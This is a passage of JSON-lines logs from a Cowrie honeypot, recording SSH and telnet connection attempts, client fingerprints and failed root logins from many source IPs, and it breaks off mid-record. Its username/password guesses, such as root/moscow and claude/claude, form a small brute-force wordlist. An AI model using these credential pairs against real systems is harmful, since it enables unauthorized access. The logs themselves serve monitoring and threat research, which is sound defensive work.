{"eventid":"cowrie.session.closed","duration":35.67203140258789,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:43:52.531143Z","src_ip":"192.119.13.58","session":"41a71e98f290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":59464,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b95c78718c","protocol":"ssh","message":"New connection: 43.135.176.251:59464 (159.203.135.109:22) [session: b0b95c78718c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:00.966296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:00.971316Z","src_ip":"43.135.176.251","session":"b0b95c78718c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:01.040427Z","src_ip":"43.135.176.251","session":"b0b95c78718c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softnixteam","message":"login attempt [root/softnixteam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:01.346396Z","src_ip":"43.135.176.251","session":"b0b95c78718c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:02.418938Z","src_ip":"43.135.176.251","session":"b0b95c78718c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":49396,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7cf31af620a","protocol":"ssh","message":"New connection: 193.233.48.169:49396 (10.17.0.5:22) [session: b7cf31af620a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:09.726644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:09.731704Z","src_ip":"193.233.48.169","session":"b7cf31af620a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:09.856522Z","src_ip":"193.233.48.169","session":"b7cf31af620a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37444,"dst_ip":"10.17.0.5","dst_port":23,"session":"21016ac98dff","protocol":"telnet","message":"New connection: 192.119.13.58:37444 (10.17.0.5:23) [session: 21016ac98dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:10.150316Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123zxc","message":"login attempt [root/qwe123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:10.387480Z","src_ip":"193.233.48.169","session":"b7cf31af620a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:11.524072Z","src_ip":"193.233.48.169","session":"b7cf31af620a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53148,"dst_ip":"10.17.0.5","dst_port":22,"session":"b53647d14e91","protocol":"ssh","message":"New connection: 103.149.170.125:53148 (10.17.0.5:22) [session: b53647d14e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:12.248497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:12.253675Z","src_ip":"103.149.170.125","session":"b53647d14e91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:12.504681Z","src_ip":"103.149.170.125","session":"b53647d14e91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moscow","message":"login attempt [root/moscow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:13.255847Z","src_ip":"103.149.170.125","session":"b53647d14e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:14.510024Z","src_ip":"103.149.170.125","session":"b53647d14e91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56272,"dst_ip":"159.203.135.109","dst_port":22,"session":"455659fd8b6f","protocol":"ssh","message":"New connection: 103.77.242.62:56272 (159.203.135.109:22) [session: 455659fd8b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:19.847625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:19.852521Z","src_ip":"103.77.242.62","session":"455659fd8b6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:20.094590Z","src_ip":"103.77.242.62","session":"455659fd8b6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"derparol","message":"login attempt [root/derparol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:20.820009Z","src_ip":"103.77.242.62","session":"455659fd8b6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:22.066163Z","src_ip":"103.77.242.62","session":"455659fd8b6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":18870,"dst_ip":"10.17.0.5","dst_port":22,"session":"2206939e14d2","protocol":"ssh","message":"New connection: 186.122.177.140:18870 (10.17.0.5:22) [session: 2206939e14d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:22.102790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:22.111521Z","src_ip":"186.122.177.140","session":"2206939e14d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:22.305085Z","src_ip":"186.122.177.140","session":"2206939e14d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58162,"dst_ip":"10.17.0.5","dst_port":23,"session":"d415a92ca4d3","protocol":"telnet","message":"New connection: 192.119.13.58:58162 (10.17.0.5:23) [session: d415a92ca4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:22.448103Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":51390,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c77efcc3675","protocol":"ssh","message":"New connection: 43.134.177.27:51390 (10.17.0.5:22) [session: 7c77efcc3675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:22.848576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:22.853738Z","src_ip":"43.134.177.27","session":"7c77efcc3675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:23.085650Z","src_ip":"43.134.177.27","session":"7c77efcc3675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWE@123","message":"login attempt [root/QWE@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:23.218666Z","src_ip":"186.122.177.140","session":"2206939e14d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:24.046255Z","src_ip":"43.134.177.27","session":"7c77efcc3675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:24.509190Z","src_ip":"186.122.177.140","session":"2206939e14d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:25.282487Z","src_ip":"43.134.177.27","session":"7c77efcc3675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54226,"dst_ip":"10.17.0.5","dst_port":23,"session":"1954cd6e1ef0","protocol":"telnet","message":"New connection: 192.119.13.58:54226 (10.17.0.5:23) [session: 1954cd6e1ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:27.506762Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56002,"dst_ip":"10.17.0.5","dst_port":23,"session":"605e6ed4659b","protocol":"telnet","message":"New connection: 192.119.13.58:56002 (10.17.0.5:23) [session: 605e6ed4659b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:28.104169Z"}
{"eventid":"cowrie.session.closed","duration":37.865822315216064,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:28.247035Z","src_ip":"192.119.13.58","session":"f87cc34e09e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.193015336990356,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:32.301389Z","src_ip":"192.119.13.58","session":"f7a87c772215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52522,"dst_ip":"10.17.0.5","dst_port":23,"session":"d400f76fae54","protocol":"telnet","message":"New connection: 192.119.13.58:52522 (10.17.0.5:23) [session: d400f76fae54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:34.349512Z"}
{"eventid":"cowrie.session.closed","duration":44.540098428726196,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:34.378394Z","src_ip":"192.119.13.58","session":"e7546f157d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54874,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f630155f63","protocol":"telnet","message":"New connection: 192.119.13.58:54874 (10.17.0.5:23) [session: 48f630155f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:34.984811Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":38590,"dst_ip":"10.17.0.5","dst_port":22,"session":"73253fb541ea","protocol":"ssh","message":"New connection: 193.228.128.84:38590 (10.17.0.5:22) [session: 73253fb541ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:36.298483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:36.303171Z","src_ip":"193.228.128.84","session":"73253fb541ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:36.407937Z","src_ip":"193.228.128.84","session":"73253fb541ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890123","message":"login attempt [root/1234567890123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:36.716091Z","src_ip":"193.228.128.84","session":"73253fb541ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:37.821201Z","src_ip":"193.228.128.84","session":"73253fb541ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":41150,"dst_ip":"10.17.0.5","dst_port":22,"session":"839c33ea709d","protocol":"ssh","message":"New connection: 59.126.224.134:41150 (10.17.0.5:22) [session: 839c33ea709d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:40.348494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:44:40.357257Z","src_ip":"59.126.224.134","session":"839c33ea709d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sh